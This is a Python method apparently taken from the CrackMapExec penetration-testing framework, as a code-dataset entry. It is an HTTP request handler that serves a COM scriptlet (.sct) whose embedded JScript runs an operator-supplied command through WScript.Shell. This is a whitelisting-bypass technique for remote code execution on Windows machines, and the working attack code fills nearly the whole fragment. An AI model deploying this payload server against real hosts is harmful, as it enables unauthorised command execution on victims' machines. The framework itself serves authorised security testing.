def on_request(self, context, request):
        if '{}.sct'.format(self.sct_name) in request.path[1:]:
            request.send_response(200)
            request.end_headers()

            com_script = '''<?XML version="1.0"?>
<scriptlet>
<registration
    description="Win32COMDebug"
    progid="Win32COMDebug"
    version="1.00"
    classid="{{AAAA1111-0000-0000-0000-0000FEEDACDC}}"
>
<script language="JScript">
    <![CDATA[
        var r = new ActiveXObject("WScript.Shell").Run("{}");
    ]]>
</script>
</registration>
<public>
    <method name="Exec"></method>
</public>
</scriptlet>'''.format(self.command)

            request.wfile.write(com_script)
            request.stop_tracking_host()

        else:
            request.send_response(404)
            request.end_headers()
dataset/ETHPy150Open byt3bl33d3r/CrackMapExec/modules/code_execution/bypass/com_exec.py/CMEModule.on_request/original